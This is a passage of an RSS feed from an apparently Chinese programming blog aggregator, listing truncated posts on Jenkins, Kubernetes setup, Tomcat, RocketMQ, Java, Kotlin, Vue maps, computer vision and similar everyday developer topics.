选项。从那里，按照相同的方法（单击齿轮图标）来获取 MAC 地址。&#xA;单击齿轮图标后，将看到所选网络接口的详细信息。在这里，MAC 地址作为硬件地址给出。</description>
    </item>
    <item>
      <title>Jenkins连接git时出现“Failed to connect to repository : Command ... HEAD“ returned status code 128:”问题解决</title>
      <link>https://bchobby.github.io/posts/1a5b48065ffb66dd078d312c3d971e71/</link>
      <pubDate>Tue, 23 Aug 2022 15:21:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a5b48065ffb66dd078d312c3d971e71/</guid>
      <description>目录&#xA;问题&#xA;解决&#xA;问题 配置仓库时报错：&#xA;Failed to connect to repository : Command &#34;git.exe ls-remote -h -- http://192.168.0.XXX/XXX/cicd.git HEAD&#34; returned status code 128:&#xA;stdout:&#xA;stderr: remote: The project you were looking for could not be found.&#xA;fatal: repository &#39;http://192.168.0.XXX/XXXX/cicd.git/&#39; not found&#xA;解决 原因是我的gitlab仓库设置了权限，改成Public,并保存返回jenkins即可，红色报警消失</description>
    </item>
    <item>
      <title>微信第三方平台uni-app配置ext.json</title>
      <link>https://bchobby.github.io/posts/af6efcc7de830bc386cfed2101743ca6/</link>
      <pubDate>Tue, 23 Aug 2022 08:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af6efcc7de830bc386cfed2101743ca6/</guid>
      <description>一、官方链接 链接：小程序运营者，可以一键授权给第三方平台，通过第三方平台来完成业务&#xA;二、项目场景 微信公众平台要交给第三方去授权操作，相当于通过后端来通过微信提供的api来进行自定义，那小程序也要去配置一些文件来让后台进行动态的配置一些参数。&#xA;三、实现流程 1、vue-cli搭建的小程序的要把ext.json 放在src目录下面&#xA;2、Hbuilder X直接创建的需要把ext.json 放在根目录下&#xA;3、创建完ext.json文件后，exAppid是模版的id，ext：{} 是我们自己定义的数据可以通过wx.getExtConfigSync() 可以拿到ext：{} 中的数据&#xA;export function getExtStoreId(type:any){ try{ let extConfig = wx.getExtConfigSync? wx.getExtConfigSync(): {} console.log(extConfig) return extConfig[type]; }catch(err){ console.log(err,&#39;getExtStoreId__error&#39;) } } 然后就可以在需要在需要的地方去动它配置数据，这里动态修改请求地址， 就可以了。&#xA;⚠️注意：小程序出现警告导致wx.getExtConfigSync()获取失败的时候，看下你的第三方平台是否绑定了3rdMiniProgramAppid&#xA;devtoolsconfig.js?t=wechat&amp;amp;s=1661153035799&amp;amp;v=676c8699f8bc4074222fbfaa7f214adf:3&#xA;wx13922a85721bead2 不是 3rdMiniProgramAppid, ext.json 无法生效；查看文档:&#xA;“https://developers.weixin.qq.com/miniprogram/dev/devtools/ext.html”</description>
    </item>
    <item>
      <title>拥抱变化，面向Java17，Java8-18全系列特性详解</title>
      <link>https://bchobby.github.io/posts/384892fabd0139f55667ed0affcabaca/</link>
      <pubDate>Tue, 23 Aug 2022 08:44:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/384892fabd0139f55667ed0affcabaca/</guid>
      <description>文章目录：&#xA;Java 8 新特性Java 9 新特性Java 10 新特性Java 11 新特性Java 12 新特性Java 13 新特性Java 14 新特性Java 15 新特性Java 16 新特性Java 17 新特性Java 18 新特性 💡 文章较长，建议点赞、收藏、评论后慢慢看，合理利用 “只看目录功能”&#xA;前言 当我们大部分Javaer还沉浸在Java 8 的特性中时，Java 19 预计在2022年9月20号发布，现在半年发布一次的节奏真让人应接不暇，况且Spring Boot 3.0开始最低版本为Java 17，Spring Security、KafKa等也都宣布在后期版本最低需要Java 17 ，所以我们恶补一下Java 8-18的特性很有必要。&#xA;Java 8 新特性 Java 8 带来了大量的新特性。主要分为以下几个方面：语言、它的编译器、库、工具和 JVM（Java 虚拟机）。&#xA;这个教程包含Java开发者经常面对的几类问题：&#xA;语言编译器库工具运行时（JVM） 感兴趣的话，可以看下官网的描述：&#xA;https://docs.oracle.com/en/java/javase/index.html&#xA;语言新特性 Lambda表达式和函数式接口 一个概念：函数式接口：只有一个方法的接口。&#xA;Lambda表达式（也称为闭包）是Java 8中最大和最令人期待的语言改变。&#xA;它允许我们将函数当成参数传递给某个方法，或者把代码本身当作数据处理：函数式开发者非常熟悉这些概念。很多JVM平台上的语言（Groovy、Scala等）从诞生之日就支持Lambda表达式，但是Java开发者没有选择，只能使用匿名内部类代替Lambda表达式。&#xA;Lambda的设计耗费了很多时间和很大的社区力量，最终找到一种折中的实现方案，可以实现简洁而紧凑的语言结构。最简单的Lambda表达式可由逗号分隔的参数列表、-&amp;gt; 符号和语句块组成。&#xA;示例1：&#xA;Arrays.asList( &#34;a&#34;, &#34;b&#34;, &#34;d&#34; ).forEach( e -&amp;gt; System.out.println( e ) ); 在上面这个代码中的参数e的类型是由编译器推理得出的，你也可以显式指定该参数的类型，例如：</description>
    </item>
    <item>
      <title>分类、目标检测、语义分割、实例分割的区别【搬运】</title>
      <link>https://bchobby.github.io/posts/31e9fa595afad5b907e7ead5f293f7e2/</link>
      <pubDate>Mon, 22 Aug 2022 21:57:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31e9fa595afad5b907e7ead5f293f7e2/</guid>
      <description>计算机视觉的任务很多，有图像分类、目标检测、语义分割、实例分割和全景分割等，那它们的区别是什么呢？ Image Classification（图像分类）（分出人、狗、狼） 图像分类（下图左）就是对图像判断出所属的分类，比如在学习分类中数据集有人（person）、羊（sheep）、狗（dog）和猫（cat）四种，图像分类要求给定一个图片输出图片里含有哪些分类，比如下图的例子是含有person、sheep和dog三种。&#xA;Object detection（目标检测）（框出个体） 目标检测（上图右）简单来说就是图片里面有什么？分别在哪里？（把它们用矩形框框住）&#xA;目前常用的目标检测算法有Faster R-CNN和基于YOLO的目标检测的算法&#xA;semantic segmentation（语义分割）(语义分割分割哪个像素属于哪个物种) 通常意义上的目标分割指的就是语义分割&#xA;语义分割（下图左）就是需要区分到图中每一点像素点，而不仅仅是矩形框框住了。但是同一物体的不同实例不需要单独分割出来。对下图左，标注为人，羊，狗，草地。而不需要羊1，羊2，羊3，羊4，羊5等。&#xA;Instance segmentation（实例分割）（实力分割 分割像素属于哪个个体） 实例分割（上图右）其实就是目标检测和语义分割的结合。相对目标检测的边界框，实例分割可精确到物体的边缘；相对语义分割，实例分割需要标注出图上同一物体的不同个体（羊1，羊2，羊3…）&#xA;目前常用的实例分割算法是Mask R-CNN。&#xA;Mask R-CNN 通过向 Faster R-CNN 添加一个分支来进行像素级分割，该分支输出一个二进制掩码，该掩码表示给定像素是否为目标对象的一部分：该分支是基于卷积神经网络特征映射的全卷积网络。将给定的卷积神经网络特征映射作为输入，输出为一个矩阵，其中像素属于该对象的所有位置用 1 表示，其他位置则用 0 表示，这就是二进制掩码。&#xA;一旦生成这些掩码， Mask R-CNN 将 RoIAlign 与来自 Faster R-CNN 的分类和边界框相结合，以便进行精确的分割：&#xA;Panoramic segmentation（全景分割）(全景分割连背景都要分) 全景分割是语义分割和实例分割的结合。跟实例分割不同的是：实例分割只对图像中的object进行检测，并对检测到的object进行分割，而全景分割是对图中的所有物体包括背景都要进行检测和分割。</description>
    </item>
    <item>
      <title>本地模拟生产环境k8s安装部署（二）</title>
      <link>https://bchobby.github.io/posts/37c053e96eb4a3c444ff4aeb1d721d50/</link>
      <pubDate>Mon, 22 Aug 2022 20:21:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37c053e96eb4a3c444ff4aeb1d721d50/</guid>
      <description>上一篇本地模拟生产环境k8s安装部署（一）_super_1301的博客-CSDN博客主要是环境配置、软件安装，主要是安装了kubeadm、kubelet、kubectl，接下来是用kubeadm创建集群步骤&#xA;三、使用 kubeadm 创建集群（参考：使用 kubeadm 创建集群 | Kubernetes）&#xA;1、通过官方文档步骤知道 需要从k8s.gcr.io下载镜像，通过ping 发现网络不通&#xA;2、生成初始化的配置文件（参考：kubeadm 配置 (v1beta3) | Kubernetes）&#xA;查看默认配置&#xA;kubeadm config print init-defaults 按照默认配置生成一份配置文件&#xA;kubeadm config print init-defaults &amp;gt; kubeadm-config.yaml&#xA;修改了2个参数，镜像仓库地址和criSocket&#xA;2、执行 sudo kubeadm init --config kubeadm-config.yaml --v=5 先关注下那3个ERROR, 第一个NumCPU ， 说的是cpu个数至少2个,现在是1个&#xA;第二个Mem ， 说内存要求至少1700M ，现在是486M&#xA;第三个FileContent--proc-sys-net-ipv4-ip_forward ，说的是没有开启路由功能&#xA;由于是本地模拟， 第一、二先忽略，第三个配置下&#xA;sudo vi /etc/sysctl.d/k8s.conf&#xA;修改前&#xA;修改后 ： 增加一行 配置 net.ipv4.ip_forward=1&#xA;需要重启后才能生效 sudo reboot&#xA;在执行一遍 sudo kubeadm init --config kubeadm-config.yaml --v=5 --ignore-preflight-errors=NumCPU --ignore-preflight-errors=Mem</description>
    </item>
    <item>
      <title>【java】tomcat配置域名访问并修改端口号</title>
      <link>https://bchobby.github.io/posts/0bc9ff565ac44d5a444a4cd2e0b41b78/</link>
      <pubDate>Mon, 22 Aug 2022 17:14:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bc9ff565ac44d5a444a4cd2e0b41b78/</guid>
      <description>首先修改ip地址访问 打开tomcat安装目录，找到conf文件夹 进入后找到server.xml文件，用文本编辑器打开后如下：&#xA;找到&amp;lt;Engine name=&#34;Catalina&#34; defaultHost=&#34;localhost&#34;&amp;gt;&#xA;将localhost修改为你的网站外网ip地址，事例如下：&#xA;&amp;lt;Engine name=&#34;Catalina&#34; defaultHost=&#34;47.111.183.59&#34;&amp;gt;&#xA;继续修改内网host映射 找到&#xA;&amp;lt;Host name=&#34;localhost&#34; appBase=&#34;webapps&#34; unpackWARs=&#34;true&#34; autoDeploy=&#34;true&#34;&amp;gt;&#xA;将localhost修改为你的网站外网ip地址，事例如下：&#xA;&amp;lt;Host name=&#34;47.111.183.59&#34; appBase=&#34;webapps&#34; unpackWARs=&#34;true&#34; autoDeploy=&#34;true&#34;&amp;gt;&#xA;配置外网ip地址映射到域名 这个过程各个平台服务器配置过程大同小异，以阿里云为例：&#xA;进入阿里云管理后台，打开云解析DNS板块&#xA;点击添加域名&#xA;在这里添加你申请的外网域名，添加成功后，在列表中会看到添加完成的域名&#xA;点击解析设置&#xA;点击新手引导&#xA;填写服务器外网ip地址后点击确定完成，等待3-5分钟后生效&#xA;修改端口号 tomcat默认端口号是8080&#xA;我们使用域名访问一般不会输入端口号，这是因为采用了默认的80端口，80端口可以不输入，是个默认值。接下来我们修改服务器端口号为80端口&#xA;打开tomcat安装目录，找到conf文件夹 进入后找到server.xml文件，用文本编辑器打开后如下：找到&amp;lt;Connector port=&#34;8080&#34; protocol=&#34;HTTP/1.1&#34; connectionTimeout=&#34;20000&#34; redirectPort=&#34;8443&#34; /&amp;gt;&#xA;将8080修改为80，事例如下：&#xA;&amp;lt;Connector port=&#34;80&#34; protocol=&#34;HTTP/1.1&#34; connectionTimeout=&#34;20000&#34; redirectPort=&#34;8443&#34; /&amp;gt;&#xA;最后一步 保存文件内容后关闭，执行一下shutdown，停止tomcat服务器&#xA;然后执行startup启动服务器，启动完成后在外网直接访问域名就可以看到tomcat的首页</description>
    </item>
    <item>
      <title>Java贪吃蛇大作战</title>
      <link>https://bchobby.github.io/posts/eb519a043c1c4b19b2a7b06047aeec7b/</link>
      <pubDate>Mon, 22 Aug 2022 15:25:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb519a043c1c4b19b2a7b06047aeec7b/</guid>
      <description>作为Java新手小白，渴望学习一些好玩有趣的java程序&#xA;废话不多说，接下来我会一步一步实现java小程序：贪吃蛇大作战哦！ 实现 Java贪吃蛇一共分四个步骤：&#xA;1、画出窗体对象 2、绘制静态ui 3、使用鼠标监听器事件和定时器事件让小蛇动起来 4、实现吃食物的功能 关于代码中的数值，因为小蛇的素材图片像素为25*25 ，游戏区域灰色方格为850*600&#xA;1、绘制窗体对象 使用JFrame这个类，分别设置界面标题、宽度、高度、位置、退出界面以及位置固定，最后将界面显示出来：&#xA;public class Main { public static void main(String[] args) { // write your code here JFrame frame = new JFrame(&#34;贪吃蛇大作战&#34;);//界面标题 frame.setSize(900, 720);//设置宽高 frame.setLocationRelativeTo(null);//布局正中间 frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);//退出 frame.setResizable(false);//大小固定，不能变化 frame.setVisible(true);//显示 } } 界面如下：&#xA;2、绘制静态Ui 新建Panel.java文件，添加如下绘制标题代码，并在Main.java中调用显示：&#xA;public class Panel extends JPanel { //由Panel继承JPanel，创建一个画布类 @Override protected void paintComponent(Graphics g) { //方法：绘制，Graphics g是画笔对象 super.paintComponent(g); //绘制顶部标题 //paintIcon()函数可将图片放到对应的容器中去：对象、画笔工具、位置坐标 new ImageIcon(&#34;img/title.png&#34;).paintIcon(this,g,20,11); } } 调用部分 frame.add(new Panel()); //显示顶部标题 绘制游戏区域，在Panel.</description>
    </item>
    <item>
      <title>【html基础】原生表格一键搭建，一键生成代码</title>
      <link>https://bchobby.github.io/posts/f198f642d11a83876f83673c74013d27/</link>
      <pubDate>Mon, 22 Aug 2022 14:33:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f198f642d11a83876f83673c74013d27/</guid>
      <description>在我们做网页当中经常要用到表格，当然也有人会选择用div来绘制一个表格。而用div绘制会存在诸多问题，而且也不方便维护。所以表格标签也是我们前端开发必备的技能。&#xA;我们先通过guiplan一键插入一个表格模版，&#xA;如果看不懂可以看源代码如下： &amp;lt;table id=&#34;g570b4&#34;&amp;gt; &amp;lt;tr id=&#34;g419fe&#34;&amp;gt; &amp;lt;th id=&#34;g16b02&#34;&amp;gt;th标头 &amp;lt;/th&amp;gt; &amp;lt;th id=&#34;gaae0b&#34; class=&#34; u7959f&#34;&amp;gt;th标头 &amp;lt;/th&amp;gt; &amp;lt;th id=&#34;gd78bc&#34;&amp;gt;th标头 &amp;lt;/th&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr id=&#34;g5af9b&#34;&amp;gt; &amp;lt;td id=&#34;g920bb&#34;&amp;gt;td表格单元 &amp;lt;/td&amp;gt; &amp;lt;td id=&#34;g9de93&#34; class=&#34; uab6e6&#34;&amp;gt;td表格单元 &amp;lt;/td&amp;gt; &amp;lt;td id=&#34;gea8dc&#34;&amp;gt;td表格单元 &amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr id=&#34;cf47d6&#34; class=&#34; u0cbcd &#34;&amp;gt; &amp;lt;td id=&#34;c913e3&#34; class=&#34; ud690a &#34;&amp;gt;td表格单元 &amp;lt;/td&amp;gt; &amp;lt;td id=&#34;c452e0&#34; class=&#34; uab6e6 &#34;&amp;gt;td表格单元 &amp;lt;/td&amp;gt; &amp;lt;td id=&#34;c917b3&#34; class=&#34; u7eb06 &#34;&amp;gt;td表格单元 &amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr id=&#34;cba81f&#34; class=&#34; u0cbcd &#34;&amp;gt; &amp;lt;td id=&#34;c3dae7&#34; class=&#34; ud690a &#34;&amp;gt;td表格单元 &amp;lt;/td&amp;gt; &amp;lt;td id=&#34;</description>
    </item>
    <item>
      <title>win10 右键菜单的注册表位置</title>
      <link>https://bchobby.github.io/posts/3f91b0e7309615598a97cbeadb613bbf/</link>
      <pubDate>Mon, 22 Aug 2022 12:18:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f91b0e7309615598a97cbeadb613bbf/</guid>
      <description>1、鼠标右键桌面空白处，新建菜单中的项目在注册表中的位置&#xA;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Discardable\PostSetup\ShellNew]&#xA;2、鼠标右键文件，弹出的菜单明细在注册表中的位置&#xA;[HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers]&#xA;3、鼠标右键文件夹，弹出的菜单明细在注册表中的位置&#xA;[HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers]&#xA;4、鼠标右键在IE浏览器里，弹出的菜单明细在注册表中的位置&#xA;[HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\MenuExt]&#xA;5、桌面空白处点击右键菜单&#xA;HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers&#xA;注意：&#xA;1、某些软件所添加的鼠标右键可能在&#xA;[HKEY_CLASSES_ROOT\Folder\shell]&#xA;[HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandlers]&#xA;1.shift+右键&#xA;https://blog.csdn.net/wyx0712/article/details/82120806&#xA;2. 计算机中CLSID在注册表中的位置&#xA;计算机\HKEY_CLASSES_ROOT\CLSID</description>
    </item>
    <item>
      <title>mac M1安装Lightgbm 成功安装记录</title>
      <link>https://bchobby.github.io/posts/82d7be02f7195e44f3ddc42e0e7a3bb2/</link>
      <pubDate>Mon, 22 Aug 2022 11:45:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82d7be02f7195e44f3ddc42e0e7a3bb2/</guid>
      <description>错误尝试： 首先我是mac M1的电脑，在网上找了很多解决方案，也尝试了很多搜索中的常见的方案，利用brew安装cmake、gcc，看了有评论说能解决，有可能对于windows系统是有效果，但对于M1的电脑是真的无能为力。&#xA;也尝试了先安装brew install libomp，在导入lightgbm也出现了报错&#xA;brew install libomp 报错情况 解决方案： 先卸载所有安装过的lightgbm&#xA;pip uninstall lightgbm brew uninstall lightgbm 重新用conda安装&#xA;conda install lightgbm 如果conda安装还是报错，可以先卸载uninstall一下，再重新安装，我第一次也这样，卸了重装了一遍就好了</description>
    </item>
    <item>
      <title>自动驾驶前沿综述：基于深度强化学习的自动驾驶算法</title>
      <link>https://bchobby.github.io/posts/ab9febc1d2a3edc6c51d1b993cdb1269/</link>
      <pubDate>Mon, 22 Aug 2022 07:30:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab9febc1d2a3edc6c51d1b993cdb1269/</guid>
      <description>作者 | TIM 编辑 | 汽车人&#xA;原文链接：https://zhuanlan.zhihu.com/p/477372894&#xA;点击下方卡片，关注“自动驾驶之心”公众号&#xA;ADAS巨卷干货，即可获取&#xA;点击进入→自动驾驶之心技术交流群&#xA;后台回复【数据集下载】获取计算机视觉近30种数据集！&#xA;这是 21 年的一篇综述文章，可以算得上是最前沿的自动驾驶技术综述。这几年随着深度表征学习的发展，强化学习领域也得到了加强。文章会对目前最先进的自动驾驶 DRL 算法进行汇总和分类。&#xA;论文标题：&#xA;Deep Reinforcement Learning for Autonomous Driving: A Survey&#xA;论文链接：&#xA;https://arxiv.org/abs/2002.00444&#xA;简介&#xA;自动驾驶系统（AD system），由多个级别的感知和控制任务组成，目前在感知方面，已经可以通过深度学习架构来实现。但在控制层面，经典的监督学习已经不再使用，因为代理需要在每一个瞬间做出动作决策，这些决策可能会改变场景条件。&#xA;▲ 自动驾驶各级别的任务&#xA;AD system 的组成&#xA;2.1 感知模块（Preception Module） 感知模块的目标是创建环境状态的中间级别表示（例如所有障碍物和代理的鸟瞰图），稍后将由最终产生驾驶策略的决策系统使用。该状态将包括车道位置、可行驶区域、代理（例如汽车和行人）的位置、交通信号灯的状态等。感知中的不确定性传播到信息链的其余部分。强大的传感对于安全至关重要，因此使用冗余源可以提高检测的信心。这是通过语义分割、运动估计、深度估计、污点检测等几种感知任务的组合来实现的，这些任务可以有效地统一成一个多任务模型。&#xA;▲ 多视角相机融合的鸟瞰图&#xA;2.2 场景理解（Scene Understanding） 该模块的作用是将感知模块获得的信息映射到高级动作或决策层。该模块旨在提供对场景的更高层次的理解，通过融合异构传感器源（如激光雷达、相机、雷达、超声波），抽象和概括场景信息，为决策制定提供简化的信息。&#xA;2.3 定位和建图（Localization and Mapping） 定位和建图技术，又称 SLAM 是自动驾驶的关键技术之一。由于问题的规模，传统的 SLAM 技术通过语义对象检测得到增强，以实现可靠的消歧。此外，局部高清地图（HD maps）可以用作物体检测的先验。&#xA;2.4 规划和推动策略（Planning and Driving Policy） 轨迹规划是自动驾驶中的关键模块，在高清地图或基于 GPS 的地图上计划路线，并引导代理生成运动层的命令。经典运动计划会忽略环境动态和差分约束，因此类似于 A* 算法之类的基于 Djisktra 的算法在此问题中并不适用。而快速探索随机树（RRT）通过随机采样和无障碍路径生成来探索配置空间。目前有多种版本的 RRT 被用于自动驾驶管道中的运动规划。</description>
    </item>
    <item>
      <title>rocketmq多主多从异步复制集群部署</title>
      <link>https://bchobby.github.io/posts/0f50e4163eb43af8d295585984ac062d/</link>
      <pubDate>Sun, 21 Aug 2022 23:13:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f50e4163eb43af8d295585984ac062d/</guid>
      <description>RocketMQ集群搭建&#xA;ROcketMQ集群搭建有以下几种方案：&#xA;「单Master模式」&#xA;「多Master模式」&#xA;「多Master多Slave模式-异步复制」&#xA;「多Master多Slave模式-同步双写」&#xA;其中，&#xA;「单Master模式」风险较大，「一旦Broker重启或者宕机时，会导致整个服务不可用」。不建议线上环境使用，可以用于本地测试。&#xA;「多Master模式」，一个集群无Slave，全是Master，单台机器宕机期间，这台机器上未被消费的消息在机器恢复之前不可订阅，「消息实时性会受到影响」。&#xA;「多Master-Slave异步复制模式」，即使磁盘损坏，消息丢失的非常少，且消息实时性不会受影响，同时「Master宕机后，消费者仍然可以从Slave消费」，而且此过程对应用透明，不需要人工干预，性能同多Master模式几乎一样。Master宕机会丢失少量的信息。&#xA;「多Master-Slave同步双写模式」，数据与服务都无单点故障，Master宕机情况下，消息无延迟，服务可用性与数据可用性都非常高，「性能比异步复制模式略低」（大约低10%左右），发送单个消息的RT会略高，且目前版本在主节点宕机后，备机不能自动切换为主机。&#xA;我们采用多Master多Slave的异步复制模式来搭建RocketMQ集群。&#xA;架构图：&#xA;集群各个角色参考配置如下：&#xA;1.配置RocketMQ-Master01(10.11.12.223) 首先创建消息存储路径，RocketMQ获取到消息默认为 /home，我们可以修改消息存储路径：&#xA;mkdir ./store mkdir ./store/commitlog mkdir ./store/consumequeue mkdir ./store/index cd store/ ll total 0 drwxrwxr-x. 2 admin admin 6 Feb 18 09:50 commitlog drwxrwxr-x. 2 admin admin 6 Feb 18 09:50 consumequeue drwxrwxr-x. 2 admin admin 6 Feb 18 09:50 index 接下来编辑/conf/broker.conf&#xA;#所属集群名称 brokerClusterName=DefaultCluster #broker名字，同一组的master-slave中，broker名字相同 brokerName=broker-a #brokerId的ID，0 表示Master，&amp;gt;0 表示Slave brokerId=0 #删除文件时间点，默认凌晨 4点 deleteWhen=04 #文件保留时间，默认 48 小时 fileReservedTime=48 #Broker 的角色 #- ASYNC_MASTER 异步复制Master #- SYNC_MASTER 同步双写Master #- SLAVE brokerRole=ASYNC_MASTER #刷盘方式 #- ASYNC_FLUSH 异步刷盘 #- SYNC_FLUSH 同步刷盘 flushDiskType=ASYNC_FLUSH #nameServer集群地址，如果是多个，使用分号;分割 namesrvAddr=10.</description>
    </item>
    <item>
      <title>EXPER LOG | 作为ByteDance青训营-客户端-项目leader的历程和收获</title>
      <link>https://bchobby.github.io/posts/2907b610b891a543d9e501844376b04b/</link>
      <pubDate>Sun, 21 Aug 2022 17:03:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2907b610b891a543d9e501844376b04b/</guid>
      <description>~此处为记录2022SUMMER青训营，我担任项目组长时，在团队协作，项目任务分配，规则商议协定以及收获心得&#xA;~还在更新中&#xA;极简tiktok内容介绍： 榜单模块（主页面一） 榜单页面设计历史数据查询功能 个人中心模块（主页面二） 个人页面设计粉丝和关注列表发布视频列表发布视频详情页 我们的任务分配（每组2人）： UI设计组 参照官方文档，有合理美观的布局，在layout和activity中实现组件的合理布局（和交互逻辑组做好需求沟通）因为这部分代码难度不算复杂，所以要求最快完成 交互逻辑组 交互操作：实现在具体页面点击跳转页面，视频滑动效果，数据获取：具体页面点击相应按钮获取数据（和数据绑定组在接口等方面做好沟通配合） 数据绑定组 为榜单信息，个人信息，视频详情数据写好合适的数据类型，便于在交互逻辑中直接调用为交互逻辑组提供接口（官网文档已经有要求）数据准备：不同版本的榜单内容，至少3个；个人信息，粉丝列表和关注列表的头像，至少5个；特定视频至少5个 完善统筹开放平台申请，密钥权限分发 代码Git整合编写文稿，提交，演示demo录制，参加答辩“监工” 碎碎念：&#xA;有不会的一定要问，小组合作不喜欢划水的人，更讨厌故意拖延小组进度的人答辩我负责全程，原则上不要求大家，当然想给评委展示自己也欢迎我们的开发时间是5号-15号，起码10号我要求大家有整体的框架才开始学习（如果有）的话，推荐先把我pin的那本书过一遍，看看客户端开发的基本流程，组件，kotlin语法知识重申：开发和学习越早越好，人对于未知的困难总是要准备好充足的时间，我会问问大家的进度，这也是对开发组的每个人负责p.s.每个人可以在代码中给自己通过注释进行签名，in case真有人搞拖延失联或者想划水的，群内投票是否除名并上报给字节工作人员我们用git和github开发，会有一个test分支（Branch），请大家修改和提交在test里，master放最终版版本控制和写作开发知识我放两个：&#xA;BV1uT4y1J7zo&#xA;BV1df4y1m7B1github仓库已经成功建立，我已完成初始化和第一次同步，剩下的人尽快把邮箱给我，我拉你们进仓库，这样可以直接把你写的代码同步到我们的小组代码库中。注意:1.每次下载和上传都从test中操作，main留的是确认好的内容，如果直接改main里的代码，可能误操作影响开发；2.上传文件见https://www.cnblogs.com/weigaung/p/9233193.html&#xA;（将master改为test) 范例：</description>
    </item>
    <item>
      <title>（2）日志工具和kotlin语法——客户端开发学习</title>
      <link>https://bchobby.github.io/posts/2eddc9067ca7d2c87674386e9669b2f2/</link>
      <pubDate>Sun, 21 Aug 2022 16:24:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2eddc9067ca7d2c87674386e9669b2f2/</guid>
      <description>我使用的教材是《第一行代码》，感谢开放的互联网。&#xA;本篇内容包含：日志工具的概念知识和使用练习，以及kotlin的大部分基础语法特性&#xA;【日志工具的使用 工具类Log(andriod.util.Log):&#xA;Log.v()-&amp;gt;级别最低，对应verbosed-&amp;gt;debug，调试信息，分析问题i-&amp;gt;info，分析用户行为w-&amp;gt;warne-&amp;gt;error 尝试日志工具 logcat过滤器尝试 logcat日志级别 【kotlin语言认识——杜绝空指针 运行结果：&#xA;知识点：&#xA;每一行代码不用加分号；出色的类型推导机制；对象数据类型；语法糖： fun largerNumber(num1: Int, num2: Int) = max(num1, num2)&#xA;变量 val-&amp;gt;不可变量var-&amp;gt;可变 延迟赋值出错时可用解决办法：val a: Int = 10&#xA;函数 函数=方法&#xA;函数定义： fun methodName(param1: Int, param2: Int): Int{//最后一个Int表示返回值类型，没有可不写 return 0 } 代码提示中选择函数模板后，还会自动导包。&#xA;运行结果：&#xA;逻辑控制 条件语句：if， when if可以有返回值，为为真条件中最后一行代码的返回值。&#xA;when：匹配值 -&amp;gt; {执行逻辑}； 可以做类型匹配。&#xA;循环语句：while, for 概念： 区间&#xA;语法：val a = 0…10 表示[0, 10]&#xA;for-in语法常用： for(i in 0 until 10 step 2){}&#xA;输出：0,2,4,6,8&#xA;//0 until 10 =[0, 10)</description>
    </item>
    <item>
      <title>vue 高德地图使用热力图</title>
      <link>https://bchobby.github.io/posts/ca185f5b1575ea04e53e630561c17a8f/</link>
      <pubDate>Sun, 21 Aug 2022 16:21:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca185f5b1575ea04e53e630561c17a8f/</guid>
      <description>代码 在public/index.html中加入： &amp;lt;script src=&#34;https://webapi.amap.com/maps?v=1.4.15&amp;amp;key=您申请的key值&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;template&amp;gt; &amp;lt;div class=&#34;box&#34;&amp;gt; &amp;lt;div id=&#34;container&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;input-card&#34; style=&#34;width: auto;&#34;&amp;gt; &amp;lt;div class=&#34;input-item&#34;&amp;gt; &amp;lt;button class=&#34;btn&#34; @click=&#34;heatmap.show()&#34;&amp;gt;显示热力图&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;input-item&#34;&amp;gt; &amp;lt;button class=&#34;btn&#34; @click=&#34;heatmap.hide()&#34;&amp;gt;关闭热力图&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; // https://a.amap.com/jsapi_demos/static/resource/heatmapData.js // 下面数据为热力图数据，可以下载上面网址数据进行测试 import heatmapData from &#39;@/assets/js/heatmapData&#39;; export default { data() { return { map: null, heatmap: null }; }, mounted() { // 延迟加载，防止出现AMap not defined setTimeout(() =&amp;gt; { this.initMap(); this.createHeatMap(); }, 1000); }, beforeDestroy() { this.map &amp;amp;&amp;amp; this.map.destroy(); }, methods: { initMap() { this.</description>
    </item>
    <item>
      <title>Spring Boot安全管理—Spring Security基本配置</title>
      <link>https://bchobby.github.io/posts/5db37b5cd767fd5972ab4695e39c70b1/</link>
      <pubDate>Sun, 21 Aug 2022 15:22:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5db37b5cd767fd5972ab4695e39c70b1/</guid>
